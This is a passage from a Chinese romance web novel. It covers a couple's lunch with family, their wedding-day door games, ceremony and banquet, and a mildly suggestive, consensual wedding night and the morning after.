蔺之序:【你现在在酒店吗?】 叶瓷:【刚到。】 蔺之序:【好的,我十分钟后到。】 顶层总统套房的起居室。 温书言正拿着一份《收藏家》杂志,指着上面一块鸽血石拓片给温翎看:“你看这‘血’的走向,活得很。” 温翎含笑听着,看到叶瓷进来,招招手:“小瓷来了,你外公又淘到宝贝了。” 叶瓷走过去,陪外公品鉴了一番,又听温翎说了些婚礼筹备的细节。 午餐由酒店管家送入套房,三人围坐在桌旁,正说着,套房的门铃轻响。 管家开门,蔺之序走了进来。 他穿着深色西装,显然是从正式场合直接过来的,眉间还带着未散的严谨。 “外公,妈。”蔺之序颔首致意,目光随即落在叶瓷身上,深邃眼眸里染了暖意。 温书言看到他很高兴:“之序来了,正好正好,一起吃饭。” 温翎也笑:“快坐,刚让厨房加了菜。” 蔺之序自然地走到叶瓷身旁的空位坐下,解开西装外套的一粒扣。 管家无声又迅速地添置了一套餐具。 “会开完了?”叶瓷低声问,给他倒了杯温水。 “中场休息。”蔺之序接过水杯,两人手指不经意擦过,“刚好到用餐时间了,过来蹭顿饭。” 他语气平静,但特意推掉会议间隙的餐叙赶过来,这份用心不言而喻。 午餐是粤式小点搭配几道清淡热炒。 有豉汁蒸凤爪,清蒸石斑鱼还有一道上汤豆苗。 “之序,尝尝这个,皮薄馅靓,很地道。”温书言热情地推荐。 蔺之序依言夹了一个:“确实很好。” “这石斑火候也刚好,”温翎给叶瓷夹了一块雪白的鱼肉,她知道叶瓷刚在外面和客户吃了饭,“再吃一点儿,味道不错。” “谢谢妈。”叶瓷应道。 正吃着,温翎问蔺之序,婚礼事宜是否都安排好了。 “基本都安排妥当了,”蔺之序放下筷子,看向叶瓷,“流程我稍后发给你,很简单,没有冗杂的环节。” 温翎点头:“这样好,阿瓷不喜欢太闹腾。我们也没什么意见,你们年轻人觉得舒服最重要。” “对了,”温书言想起什么,对蔺之序说,“之序啊,你上次在海城写的那幅字,我让人裱好了,回头挂到苏园的书房去。” 蔺之序谦和一笑:“外公喜欢是我的荣幸。” 叶瓷安静地吃饭,听着身边亲人的交谈,感受到蔺之序偶尔投来的目光。 他坐在她身边,这本身就给她带来了一种奇异的安定感。 而很快,两人要结婚了。 一想到这里,叶瓷心里也像这窗外的阳光一样,暖烘烘的。 午餐快结束时,蔺之序的手机震动了一下。 他看了一眼,然后略带歉意地说:“外公,妈,下午的会议要开始了,我得先走。” “快去快去,正事要紧。”温书言挥挥手。 温翎也叮嘱了句,“路上注意安全。” 蔺之序起身,对叶瓷低声道:“流程发你了,得空看一看,觉得有不合适的,你再告诉我。” “好。”叶瓷点头。 送走蔺之序,叶瓷回到座位。打开他发来的婚礼流程,文档上没有花哨的排版,只有简洁清晰的文字。 叶瓷在看到“外公牵你入场”时,心头一暖。 这份流程,剔除了所有繁复的环节,只保留了最核心的仪式。 尤其是由外公牵引这一项,她知道是蔺之序特意安排的。 叶瓷看向餐桌旁的温书言,“外公,婚礼那天,蔺之序安排您牵我入场。” 温书言的手顿在半空,筷子尖的糖藕微微晃动。随后,他放下筷子,“这,真的?” “嗯。”叶瓷伸手覆上他的手背,笑着撒娇,“你愿意接这个差事吗?” 温书言笑,“当然愿意了,外公牵着你,就像小时候送你去上学一样!” 叶瓷喉咙发紧。 她想起第一次上学,温书言牵着她的手,说“阿瓷,不要怕。” 如今他要牵着她的手,把她交到另一个人生阶段。 蔺之序很懂她。 他知道这个安排对她而言意味着什么,他知道她心底所想,然后巧妙地把事情都安排得很妥当。 想到这里,叶瓷给他回复:【婚礼流程看过了,我觉得很好。】 叶瓷:【谢谢你,老公】—— 作者有话说:明天[红心]叶小姐和蔺总大喜,婚后余生甜甜甜 第46章 第46章 甜蜜新婚 晨光微熹。 叶宅的铁艺大门上缠着暗红绸缎, 庭院里的松柏也挂上了寓意吉祥的朱砂色小灯笼。 管家和叔穿戴整齐,正在庭院里确认最后的细节。 “和管家,聘礼和回礼都摆好了吗?”温翎从主宅走出来, 一袭浅香槟色旗袍, 发髻挽得一丝不苟。 “都按清单摆放妥当了, 夫人。”和叔微微欠身,“蔺家送来的那套四合院文件放在了最显眼的位置。” 温翎点头, “好。” 三楼,叶瓷正坐在梳妆台前, 化妆师在为她做最后的妆造。 她的婚纱简约至极——象牙白的真丝缎面, 流畅的鱼尾廓形,仅在腰间点缀着一道精致的立体褶裥, 头纱是同样质地的真丝薄纱, 边缘绣着若隐若现的铃兰暗纹。 “姐, 你太美了!” 叶溦站在一旁,穿着淡粉色的伴娘裙。 除了叶溦, 霓坊工作室里几个关系亲近,性格开朗的年轻设计师,还有助理小于组成了伴娘团。 有人敲门, 是叶北庭。 他看向叶瓷和一旁的化妆师,“都准备好了吗?蔺家的车队快到了。” 叶瓷对着镜子, “就要好了。” 楼下客厅里, 气氛宁静而忙碌。 聘礼与嫁妆分列两侧,没有夸张的堆砌,却件件彰显着不凡。 温书言和叶家的几位同族叔伯正聊着天,叶北庭从笑谈里抽身,“和叔, 再去检查一遍茶具,待会儿敬茶要用那套乾隆年间的青花。” 和叔:“好的少爷。” 窗外突然传来一阵喧闹声。 叶溦提着裙摆跑进来,“姐!姐夫的车队到大门外了!” 热闹的声浪很快来到三楼。 门外,以司恒为首的伴郎团正使出浑身解数让开门。 “想接走我们叶总监,可没那么容易,”小于的声音从门内传来,“要先考核,考核通过才能进来。” “对对对!考核不过关,红包加倍哦!”其他伴娘笑着附和。 隔着门板,伴娘团开始了第一轮的测试。 “这是什么?” 裴时看着伴娘手里的绣绷,一脸懵。 亚麻布上已经用浅色水消笔勾描出一枝简约的铃兰轮廓,旁边配着几片绿叶,线条干净优雅,正适合初学者上手。 绣绷边缘还贴心地别着五根穿好浅绿和纯白丝线的绣花针。 “想接走高定设计师,总得懂点针线活吧?”小于笑着晃了晃绣绷,“要求不高,新郎和伴郎们每人绣三针,但要连成一枝完整的铃兰。” 伴郎团闻令顿时哀嚎起来。 蒋昀铮直接傻眼了,“这这这,五哥,我有点儿头大……” 梁屿培自告奋勇,挽起袖口去接绣绷,结果绣绷没碰到,自己手指先被针尖扎了下。 “我出师不利啊。” 司恒看向蔺之序,苦笑,“五哥,这也太难了吧。” 裴时:“我长这么大还没摸过针呢,不过为了五哥的幸福,我今天拼了。” 蔺之序已经着手研究秀绷,他比裴时强一点,他摸过针,但也仅此而已。 门后面,伴娘团的笑声传来,“大家快点哦,每人只要绣三针,加油加油。” 蔺之序拿起针,沿着浅色水消笔的痕迹在铃兰花苞顶端绣了三下。 雪白丝线在缎面上绽开一粒饱满的立体小花。 “不是吧五哥,你还会绣花?”裴时的下巴都要惊掉了,“你背着我们还偷学了这门手艺呢?” 蔺之序把绣绷递给他,“这上面有提前画好的笔迹,你照着扎针就行。” 门内的人听到“扎针”两个字,一个个笑得前仰后合。 裴时看了几秒,针尖颤颤巍巍,终于绣出了歪歪扭扭的茎秆。 司恒的针脚倒是整齐,可惜把绿叶绣成了仙人掌。 蒋昀铮怎么都绣不好,干脆在线尾打了个蝴蝶结充数。 门内小于伸手接过绣绷,大家边围观这幅“集体创作”边笑,最后,绣绷传回到了叶瓷手里。 铃兰低垂的花苞,舒展的绿叶和修长的茎秆终于连成一体,虽然针脚参差不齐,却透着笨拙的真诚。 叶溦笑着凑近,“姐,可以过关吗?” 叶瓷笑,点点头,“可以。” 小于又来到门口,“第二关,请新郎用一句诗说出对新婚的祝福!” “愿我如星君如月,夜夜流光相皎洁。”蔺之序几乎是脱口而出。 司恒鼓掌,“五哥你好厉害!还会现场作诗。” “……” 旁边的蒋昀铮忍不住了,“不是我说你啊你个开茶楼的,怎么一点儿底蕴都没有?” 司恒不解,“我怎么就没底蕴了?” 裴时也要气笑了,抬手搭对方肩上,“哥哥,让我来给你普及一下,五哥刚才说的那两句诗是我们上中学时背的,不是他自己现场作的诗,你明白了吗?” “……” 司恒给自己找补,“我上的国际学校,没学过这个。” 几人正说着,这时,小于的声音传来:“好,那最后一个来了哦,请新郎和伴郎团接力背诵《滕王阁序》全文!” “啊?” “我天!” 门外顿时又炸开了锅。 司恒第一个摆手:“我弃权,这个我更不行了。” 裴时坦言,“我只会‘落霞与孤鹜齐飞’这句,”说完,他转头看向其他伴郎,“小梁哥,你不是北大的吗?” 被点名的梁屿培疯狂摆手:“我学计算机的,上次背古文还是高考。” 叶溦贴着门缝看了会儿外面,然后跟叶瓷小声汇报:“姐,这题会不会太难了?” 蔺之序思索了片刻,很快,“豫章故郡,洪都新府。” 他的声音沉稳,却在背到‘飞阁流丹,下临无地’时突然卡壳。 刚刚在手机上恶补过的蒋昀铮赶紧接上,背了几句后,他看向蔺之序,“五哥,我只能帮你到这里了。” 蔺之序回想起一段后,继续背诵,结果又在“扶摇可接”处再次停顿。 房间内,叶瓷忍不住轻笑出声。 向来游刃有余的蔺总,此刻正被一首千古名篇难得焦头烂额。 “到我了到我了!” 梁屿培突然抢过话头,吞吐了数句,最后卡了在‘无路请缨’处。 伴郎们已经乱作一团。 最后,众人的希望又都寄托在了蔺之序身上。 磕磕绊绊,终于,蔺之序背到了结尾处。 当“请洒潘江,各倾陆海云尔”落下时,四周一阵欢呼。 “五哥你太厉害啦!” 司恒激动地拍他肩膀,“什么时候偷偷补的课?快说,是不是嫂子提前跟你泄题了?” 蔺之序笑着否认,“这是高考前背的。” 门内,小于正把手机录像递给叶瓷。 叶瓷看了几眼,现在时间不足,她让小于把视频传给自己,回头再慢慢看。 小于比个“OK”的手势。 这时,叶溦对着门外,“姐夫,最后对姐姐说句情话就放你进来哦!” 门外安静一刹。 蔺之序的声音响起,穿过木门清晰地传来: “叶瓷,婚不宜迟,恰逢其时,我愿以爱为聘,共赴白首之约。” “哇哦~” “五哥,你也太会了吧!” “这太甜了,齁死我算了!” “我是单身狗,别虐我!” 伴郎团你一句我一句的惊呼。 只听门锁咔哒轻响,“答得漂亮!红包开路!” 伴郎们闻言,门缝立即塞进来厚厚数叠设计别致,印有新人姓氏缩写和铃兰图案的红包。 门终于打开。 蔺之序站在最前方,他穿着一身量身定制,剪裁无可挑剔的黑色戗驳领塔士多礼服,面料是顶级的深黑色羊绒混纺,衬得他肩宽背直,身姿挺拔如松。 他脸上没有太多夸张的表情,但那双深邃的眼眸在看到叶瓷的一瞬,仿佛被点亮。 叶瓷站在那里,一袭简约的象牙白缎面婚纱,腰间一道精致的褶皱设计勾勒出曼妙曲线,头纱轻覆,清丽如画。 蔺之序呼吸微凝,然后,他一步步走近,脚步沉稳。 伴娘们笑着退开。 终于,他在叶瓷面前站定,目光细细描摹着她的面庞,似乎要将这一刻刻进灵魂深处。 凝视中,他上前一步,在满堂亲友的见证下单膝跪地:“叶瓷,我来接你。” 叶瓷抬眸,对视间,她轻轻点头,唇角扬起一个清浅又动人的弧度。 她将手放入他的掌心。 蔺之序的手指立刻收拢,与她十指紧扣。 在众人的祝福和欢声笑语中,蔺之序小心翼翼地牵着他的新娘,一步步走出闺房,走下铺着红毯的楼梯。 叶瓷婚纱长长的拖尾在身后流淌,如同月华铺地。 楼下客厅,两位新人给温翎敬了茶,温书言将叶瓷的手郑重地交到蔺之序手中,“之序,阿瓷就交给你了。” 蔺之序声音坚定,“我会用一生珍惜她。” 宅邸门口,迎亲的车队静静等候。 没有夸张的超跑阵列,而是八辆线条流畅,光泽深沉的黑色劳斯莱斯幻影,车头装饰着与新郎手捧花同款的铃兰与常春藤小花束。 车身光洁如镜,倒映着初冬澄澈的天空和叶宅喜庆的装饰。 蔺之序为叶瓷打开主婚车的车门,手掌细心地护着她的头顶。 叶瓷坐进后座,巨大的裙摆被小心地整理好,蔺之序随即坐到她身边。 车门关上,隔绝了外面的嬉闹。 蔺之序的手紧紧握着她的,手指紧扣,没有松开。 车子缓缓发动,他侧过头,目光一瞬不瞬地望着她,心里有一种尘埃落定的安稳。 蔺家老宅此刻被装点得庄重而喜庆。 正厅里,蔺建昆与汤静娴端坐主位,叶北庭代表叶家坐于一侧。 厅堂布置得典雅大气,紫檀木的家具光润沉稳,博古架上的瓷器典雅精致。 蔺之序与叶瓷身着传统的中式礼服,并肩而立,两人向长辈鞠躬敬茶。 “爸,妈,请喝茶。” 蔺之序的声音沉稳,双手将白玉盖碗奉给蔺建昆。 “好,好!” 蔺建昆笑容满面,接过茶盏,轻啜一口,随即拿出一个沉甸甸的紫檀木盒打开,里面是码放整齐,光泽内敛的十根小黄鱼金条,“金玉良缘,百年好合!” 汤静娴接过叶瓷敬上的茶,眼中泛着欣慰泪光,她取出一对水头极足,翠色欲滴的龙凤呈祥翡翠玉佩,亲自为新人佩戴在腰间:“金玉满堂,平安顺遂。” 敬茶礼成,满堂笑语。 仪式的主场设在京郊一处顶级私密园林酒店。 “星河厅”现场布置着数万朵从保加利亚空运而来的新鲜玫瑰。 仪式台两侧,是高低错落的绿色蕨类植物,洁白的铃兰和缠绕着星点灯串的常春藤拱门,营造出空灵浪漫又生机勃勃的森林秘境氛围。 宾客席位是简洁的透明亚克力座椅,点缀着同色系鲜花,确保每一位宾客的视线都毫无遮挡。 轻柔的弦乐背景声中,宾客们身着优雅得体的礼服陆续落座。 时间指向吉时。 悠扬深沉的管风琴声奏响,宴会厅尽头,巨大的门缓缓开启。 叶瓷挽着温书言的手臂,出现在光芒之中。 长长的头纱与曳地裙摆融为一体,随着她的步伐,在玫瑰铺就的“银河”上轻盈流淌。 温书言穿着挺括的中山装,他挺直了背脊,每一步都走得缓慢而庄重。 全场宾客的目光都追随着祖孙二人。 管风琴的旋律恢弘而深情。 叶瓷的目光穿越人群,落在仪式台尽头等待她的男人身上。 蔺之序站在那里,一身黑色西装,身姿挺拔如松。 当温书言郑重地将叶瓷的手交到他手中时,蔺之序的手掌立即包裹住她的。 在证婚人的主持下,新人交换誓言。 接下来是交换戒指。 叶溦捧上一个丝绒托盘,司仪揭开盒盖,两枚Cartier 1895系列铂金素圈对戒静静躺在黑色丝绒上。 戒圈设计简约经典,唯一的亮点是女戒中央镶嵌着一颗淡粉色钻石,大小恰到好处,光华内敛。 男戒是在相同位置镶嵌着一颗纯净的无色钻石,象征守护与坚定。 蔺之序执起叶瓷的手,将戒指郑重地推入她的无名指根。 叶瓷亦为他戴上那枚象征着守护的戒指。 礼成,蔺之序轻轻掀起叶瓷的头纱。 四目相对,他俯身,在全场宾客的见证和祝福下,在她唇上印下一个吻。 掌声如潮水般响起,玫瑰花瓣雨从穹顶缓缓飘落。 这时,宴会环节的主持人司恒走上台,他穿着深蓝色西装,笑容带着几分随性的熟稔。 “各位尊贵的来宾,下午好!我是司恒。” 他对着话筒,声音清朗,“我是新郎蔺之序的朋友,虽然我比他大一个月——” 他故意拖长了调子,“可从小到大,因为那一帮人,”司恒顿了下,下巴示意台下伴郎那一桌,“都喊新郎五哥,弄得我也不好另类,所以我也一直跟着喊五哥。” 台下响起善意的笑声。 “这帮人,喝了我家上好的茶叶十几年,愣是一分钱没给过。” “今天我能站在这当主持人,全靠这十几年积攒下来的‘茶债’换来的荣耀!” 全场哄堂大笑,连向来清冷的叶瓷也忍不住莞尔。 笑声渐歇,司恒转向新人,眼神变得温和认真:“那么,第一个问题给我们的新郎蔺之序先生,请问,认识我们美丽的新娘叶瓷小姐之后,你自己最大的改变是什么?” 蔺之序接过话筒,眸光落在叶瓷沉静的侧脸上。 她今天略施粉黛,清丽的五官在柔光下美得惊人,尤其那双眼睛,像盛了山泉。 他唇角扬起一抹温柔笑意,声音透过话筒清晰传出:“最大的改变?” 他带着点自嘲的坦诚,“大概是,我学会了……工作时走神。” “哦?”司恒挑眉,台下宾客也发出会心的笑声和低语。 “嗯,”蔺之序点头,眼睛依旧胶着在叶瓷脸上,带着毫不掩饰的爱意,“以前觉得时间就是效率,分秒必争。现在,会不自觉地停下来,想想她此刻在做什么,设计稿画到哪一步了,咖啡凉了没有。” 这份来自工作狂的甜蜜“表白”,让台下掌声和笑声更热烈了。 司恒笑着点头,问出了所有人最关心的问题:“那么,蔺先生,你是在哪一个瞬间,确切地知道自己爱上了叶瓷小姐?有没有一个特别的时刻?” 蔺之序看一眼叶瓷,宴会厅的灯光落在她眉眼间。 “具体哪一天爱上,我无法精确说出,”他的声音低沉,“感情是在相处的每一天里,一点一滴升温变化的。我需要时间去判断,是责任使然,还是真正的心之所向。” “但当我意识到这份感情存在的时候,它已经像呼吸一样自然,无法割舍了。” 停了下,他接着道,“不过,有一个场景我记得非常清楚。那是她个人品牌高定秀压轴登场谢幕的时候,我看到她站在镁光灯下,接受着如潮的掌声和赞誉。” “她脸上有疲惫,但更多的是沉静。” “那一刻,灯光很亮,掌声很响,我看到她站在那里,像一颗发光的星辰。心里有个声音无比清晰地告诉我:就是她。我想守护这份光芒,想与她并肩,看她在属于她的领域里,永远闪耀。” 他低沉而真挚的话语,引得掌声如雷鸣。 叶瓷抬眸看着他,清冷的眼底清晰地映着他的身影,水光潋滟。 司恒也被这份深情感动,他深吸一口气,转向叶瓷,话筒递向她:“那么,美丽的新娘,现在该你回答问题了,你是在什么时候,爱上了我们这位终于学会‘走神’的蔺先生?” 叶瓷刚要接过话筒,蔺之序的手臂却自然地环上了她的腰,将她往自己身侧轻轻一带。 他微微俯身,凑近话筒,目光扫过全场,带着难得的狡黠和独占欲,声音传遍宴会厅: “我可以当着全世界的面对她表白心意,毫无保留。但是——”他刻意停顿,环顾四周,嘴角勾起迷人的弧度,“我老婆对我的表白,这么珍贵的时刻,我只想一个人听,一个人珍藏。” “哇哦——!” 司恒带头起哄,全场爆发出更热烈的笑声,掌声和口哨声,气氛瞬间被推向高潮。 叶瓷的脸颊飞上红霞,在他怀里抬头时,发现他正看着自己,眼神里满是甜蜜和纵容。 宴会正式开始。 侍者们身着统一的制服,无声地穿梭于宾客之间。 米其林三星主厨团队精心打造的婚宴菜单,悠扬的古典弦乐四重奏在厅内流淌。 开宴没多久,蔺之序牵着叶瓷开始敬酒。 首先来到主桌,蔺家父母,叶北庭和温翎温书言,以及叶瓷的恩师——彭罄。 见两位新人走过来,彭罄笑着拉住叶瓷的手,眼中满是欣慰:“看到你找到归宿,事业家庭双丰收,老师为你高兴,祝你们百年好合!” 叶瓷笑,“谢谢老师!” 这时,一桌人都举了杯,温翎看着两人,“要互相体谅,妈妈祝你们白头偕老。” 叶瓷点头,“谢谢妈。” 离开主桌,又敬了几个家族叔伯,两人很快来到了司恒那一桌。 蒋昀铮等人早已按捺不住,纷纷起身。 “五哥!恭喜恭喜!” 梁屿培:“五哥,今天这杯必须干了!” 他坏笑着举起一个大的酒杯。 裴时在旁边起哄:“就是,今天可不能推辞。” 蔺之序挑眉,从容接过酒杯一饮而尽,赢得满桌喝彩。 “嫂子,”蒋昀铮举着香槟过来,“以后可要多管管他,别让他整天泡在公司。” 蔺之序笑着揽住叶瓷的腰,“以后有老婆管了,我乐意之至。” 众人笑,司恒接话,“有空的时候和五哥来茶楼,热烈欢迎。” 叶瓷也笑,“嗯。” 裴时问:“蜜月准备选哪儿?马尔代夫还是大溪地?或者私人小岛来个深度游?” 蔺之序与叶瓷相视一笑,将酒杯与众人轻碰:“还没定,都听老婆的。” 语气里的宠溺不言而喻。 放下酒杯,蔺之序握紧叶瓷的手,“走吧,我们去下一桌。” 他护着她,两人并肩走向下一桌宾客。 叶瓷裙摆拂过铺满玫瑰的地面,如同踏着星河前行。 晚上八点半。 浴室里传来淅沥水声,二十分钟后,水声止,吹风机的细微嗡鸣响起。 蔺之序坐在客厅沙发里,笔记本电脑上是尚未处理完的简报。 他手指在触控板上滑动,视线却有些无法聚焦。 里面持续不断的细微嗡鸣,像一根无形的丝线,穿透与浴室相隔的墙壁,缠着他的神经。 他试图集中注意力,一行文字反复看了三遍,仍抓不住任何信息。 合上电脑,他起身走向书房。 叶瓷从浴室出来,身上裹着白色浴袍,脸颊被热气蒸出淡淡的粉晕。 在梳妆台前护肤时,她看到前几天让司机送来的那个深灰色行李箱安静地立在墙边。 她俯身打开箱子,里面整齐叠放着她挑选的几件真丝衬衣,羊绒衫和贴身衣物,还有几本专业书籍。 她将衣物一件件挂进衣帽间,然后挑了件真丝睡裙换上。 箱子里只剩书了,一次也搬不完,她先拿了上面几本,走向书房。 门轴无声转动,暖调光线从门缝溢出,落在她赤着的脚背上。 蔺之序听到声响,倏然抬头。 叶瓷站在光影交界处,睡裙的丝质下摆被穿堂风轻轻拂动。 布料贴着腿上的细腻肌肤,涤开一圈又一圈的柔软波浪。 余波在蔺之序心头漾着。 他喉结轻微沉降,这时,叶瓷的声音响起,“打扰你了吗?” 蔺之序已经起身走过来,“没有。” 他伸手接过她怀里的书,然后放到书架上,“还有吗?” 叶瓷:“还有几本在外边箱子里。” 蔺之序闻言,出了书房,很快,他将她的面料色卡册和灵感剪贴本也拿了过来,手里还多了一个黑子硬质盒子。 蔺之序将她的面料色卡码放在书架上,转身又将那个黑色盒子递给她。 盒子上没有任何品牌标识,叶瓷有些疑惑地打开。 是一套顶级的专业画具。 纹理细腻的椴木画板,德国产专业绘图针管笔,还有几个特制的防疲劳握笔套和几卷她惯用的进口半透明硫酸纸。 叶瓷惊喜:“你什么时候买的?” 蔺之序:“上次在沪城出差时顺手买的。” 叶瓷笑了下,拿起其中一根笔,试了试手感,很不错。 接着,她将画板放在书桌最顺手的位置,又将针管笔一一插进笔筒。 这个角落,因为这套妥帖的画图工具,瞬间有了归属感。 “都收拾好了?”蔺之序问。 “嗯。”叶瓷点点头。 蔺之序合上电脑,两人拉着手出了书房。 回到卧室,叶瓷靠在床头,伸手划开平板屏幕,视频片段自动播放起来,画面里,蔺之序低头在白色绣绷上落下针脚。 阳光透过门缝洒在他专注的侧脸上,连睫毛投下的暗影都清晰可见。 视频切换到背诵《滕王阁序》的环节,他背到“扶摇可接”时突然卡壳,喉结咽了咽,耳尖也微微泛红,伴郎团在旁边笑闹着起哄。 叶瓷唇角弯起,她从未见过这样的蔺之序,向来持重端方的蔺总,被一篇古文为难得差点额头沁汗。 视频结束,她又将进度条拖回他绣铃兰的那段。 浴室的水声停了。 蔺之序擦着头发走出来,身上套了件烟灰色丝质睡袍,腰带松松系着,领口露出一片还带着水汽的胸膛。 微湿的黑发随意地搭在额前,洗去了白日里的所有锋芒,显露出一种难得的居家慵懒。 他的眸光自然而然地落在她身上,“在看什么?” 叶瓷加大了一点音量,“不会吧五哥,你还会绣花?” 蔺之序听出来了,笑了下。 宽大的双人床上,铺着簇新的,质地极柔软的床品。 大红色的真丝喜被,上面用金线绣着精致的“囍”字和缠绕的并蒂莲图案,是汤静娴特意请苏绣大师定制的。 蔺之序掀开被子一角坐下。 “累吗?”他侧过身,面对着她。 距离很近,她闻到他身上干燥温暖的檀香调。 叶瓷摇摇头,身体因为他的靠近而微微绷紧了一瞬,随即又放松下来:“还好。” 一天的喧嚣过后,此刻的宁静显得尤为珍贵。 片刻,蔺之序问她:“想去哪里度蜜月?” 叶瓷眨了眨眼,婚礼的疲惫和对新环境的新鲜感交织,让她此刻对“蜜月”这个充满期待的词,一时竟有些空茫。 她认真地想了想,脑海中掠过许多地名,却又觉得都差了点意思。 “暂时……还没想好。” 她如实回答,然后又偏头看向他,“你呢?有想去的地方吗?” 蔺之序的视线落在她脸上,像是也在思索,很快,他坦诚地摇了摇头:“不知道。” 他的生活被精确的计划填满,唯独关于“放松”和“享受”本身,缺乏具体的想象。 这个“不知道”从向来目标明确的蔺之序口中说出,带着一种奇异的反差。 两人对视一眼,不约而同地轻轻笑了起来。 低低的笑声响在卧室里,打破了最后一丝难喻的局促,只剩心照不宣的轻松。 “那……” 叶瓷的唇角弯起,眼底映着床头灯细碎的光,“等我们什么时候想好了,就立刻出发?” “好。” 蔺之序应道,低沉笑意里含着纵容,“随时。” 笑声渐歇,氛围一下变得粘稠起来。 这时,蔺之序的手臂自然地伸过来,穿过她的颈后,将她轻轻拢在怀里。 平板上的视频画面已经暂停,叶瓷笑着侧过脸问他,“要不要一起看?” 蔺之序嗯了声,叶瓷将平板往中间移了移,蔺之序伸手接住,放到两人都能看见的角度。 他的胸口扣着她的后背,沐浴后的热气混着他的男性气息将她完全包裹。 蔺之序伸手点开播放,视频里立时传来嘈杂的起哄声:“五哥你行不行啊!” 蔺之序默着,他的呼吸拂过叶瓷耳畔,手臂正环在她腰间,热度一点点渗进来。 叶瓷能感觉到他胸腔的震动,随着视频里他磕磕绊绊的背诵节奏,发出极轻的笑。 “我当时在想,”他突然开口,唇几乎贴在她耳廓上,“如果你开门看到我这么狼狈,会不会笑出来。” 视频播到他最终背完全文时,伴郎团的欢呼炸开。 下一秒,蔺之序贴上她后颈凸起的骨节,呼吸灼热:“叶瓷。” 声音格外磁沉。 叶瓷轻颤着想躲,却被他扣住了手腕。 平板滑落在羽绒被上,视频自动循环播放,伴郎们的笑闹声成了暧昧的背景音。 蔺之序沿着她后颈的骨节往下,在每一个关节处停留,像在拆解一件珍贵的礼服。 “蔺之序……” “嗯?” 他应得漫不经心,齿尖磨着她颈侧细嫩的皮肤,留下淡红印记。 视频里正好播到他将铃兰举到门缝前:“可以了吗?” 蔺之序忽然撑起身,逆着床头灯的光看她。 叶瓷的身体起初还有些僵硬,但很快在他体温的熨帖下放松下来,终于找到了最契合的姿势。 “可以吗?”他低声问。 嗓音沙哑得如同被砂纸磨过。 叶瓷没有回答。 一种无声的应允,在昏暗中传递。 蔺之序的呼吸节奏也跟着发生了变化。 他原本只是撑在她脸庞的手掌,试探性地缓缓移到了她的腰际。 一路向下,如同虔诚的朝圣者。 叶瓷无意识地揪紧了他睡袍背后的衣料,生涩地回应着。 感官被他完全占据,世界仿佛缩小到只剩下这张床和这个人。 不知过了多久,蔺之序微微喘|息着,额头抵着她的,曜黑眼眸里翻涌着浓烈的情愫。 他撑起身体,一只手伸向床头柜的抽屉。 轻微的滑轨声响起。 他拿出一个小小的方形铝箔包装。 这是他前几天特意备下的。 事实上,早在两人领回结婚证那天,这个念头就曾在他脑海里短暂地闪现过——在婚房里准备一些。 但那时,这念头也仅仅是一掠而过,未曾停留。 当时,他们之间虽有夫妻之名,但和叶瓷的感情还远没有到情至浓处的程度。 他一向是极有耐心的人,也足够自律,对于感情,尤其如此。 他欣赏她,同样的,也尊重她。 蔺之序理想中的状态是水到渠成,瓜熟蒂落,就像现在,他得到了她的首肯。 他低头看着她绯红的脸颊和湿润的眼尾,本能地,他的喉结沉降了一下。 一室静谧。 呼吸交错间,檀木气息与清浅的橙花香纠缠成网,密不透风。 不知何时滑到地毯上的平板还在自动播放着视频,像极轻的白噪音,掩盖了某些被咬碎在唇|齿间的音节。 叶瓷的头发在枕上铺开一片鸦羽色的雾,有几缕黏在汗湿的颈间。 呼吸灼人,烫在耳廓。 热意熏得她眼眶发潮,视线也变得模糊。 窗外,京北的灯火渐次熄灭。 地毯上的平板终于耗尽电量,黑屏前最后闪过的,是视频里他穿过漫天玫瑰花瓣,走向她的身影。 第47章 第47章 反客为主 曦光如同稀释的蜂蜜, 缓慢渗透顶级遮光帘的缝隙,在卧室的地毯上晕开一道朦胧的金边。 室内仍残留着檀木与橙花的气息,除此之外, 还有一丝难以言喻的慵懒暖香。 叶瓷是在一种奇异的舒适与酸软交织的感觉中醒来的。 意识尚未完全清明, 她伸手往旁边探了探, 蔺之序不在。 她没有立刻睁眼,而是在羽绒被里又窝了一会儿。 卧室寂静, 只有她自己清浅的呼吸,还有远处城市苏醒前模糊的低噪。 身体里仍残存着昨夜的记忆, 鲜明炽热。 三次, 很完整。 定了定神,她掀被下床去洗漱。 镜子里的自己, 眼底有淡淡的倦意, 但气色却意外得好。 过了会儿, 保姆的声音从主卧门外传来,“太太, 您醒了,早餐已经准备好了。” 叶瓷正在衣帽间里挑选衣服。 “嗯,知道了。” 她的区域, 挂满了剪裁精良,质感上乘的套装, 连衣裙和大衣, 色调以中性,大地色系为主,鲜有张扬的亮色。 蔺之序的成套西装和衬衣在另一侧,深灰,藏蓝, 炭黑整齐划一,熨帖有型。 叶瓷的手指滑过一排羊绒大衣,最终停在一件浅燕麦色羊绒双排扣大衣上,内搭选了一件同色系的高领针织衫,下身是垂坠感极好的深灰色羊毛阔腿裤。 “先生……呢?是去晨跑了吗?” 叶瓷一边将选好的衣服拿出,一边问道,她声音平静,但问完才察觉到一些与平日不同的停顿。 保姆笑道,“先生六点多就下楼晨跑去了。特意交代别吵着你,让你多休息会儿。” “管家刚打来电话,今天先生和太太要回老宅用午饭,车九点半来接。” 叶瓷嗯了声。 和蔺之序回老宅吃饭,是新婚礼节。 对着穿衣镜,她刚拿出一对耳钉,就听见了保姆和蔺之序打招呼的声音。 她转头望去,蔺之序站在玄关处,一身黑色运动装,正回手合门。 似乎是心有所感,在距离卧室几步时,他倏然抬头,然后,他看到了站在衣帽间的叶瓷。 四目相接,蔺之序抬腿走来。 镜中映出两人的身影,他站在她身后半步的距离,一双黑眸落在她侧着的颈项和手里的耳钉上。 “让我来吧?” 蔺之序自然伸出手,叶瓷在镜子里和他对视,她没有犹豫,将耳钉递给了他。 “睡得好吗?” 说话间,他的指腹擦过她耳后的肌肤。 “嗯。”叶瓷应了一声,顿了下,带着自己都未意识到的依赖,“就是腰有点酸。” 凌晨时,蔺之序仍意犹未尽,缠着她索要了第三次。 叶瓷受不住他持续的力道,眼尾也红了,蔺之序停下,伸手捞起她,抱在怀里,然后很自然地,解锁了新姿势。 一切都是新奇的,刚开始时,叶瓷还不得要领,后来在他的引导下,就很顺利地进行下去了。 …… 两人回到餐厅,蔺之序替她拉开椅子。 叶瓷坐下,看他走到对面落座。 他拿起餐刀将蓝莓酱涂抹在面包上,然后,放到了她面前的餐碟里。 叶瓷:“谢谢。” 蔺之序笑了下。 叶瓷小口吃着面包,眼睛看向对面,他刚换上的白色衬衣,领带还未系。 此刻,衿贵沉稳的男人做着充满生活烟火气的小事——为他的新婚妻子涂抹面包酱。 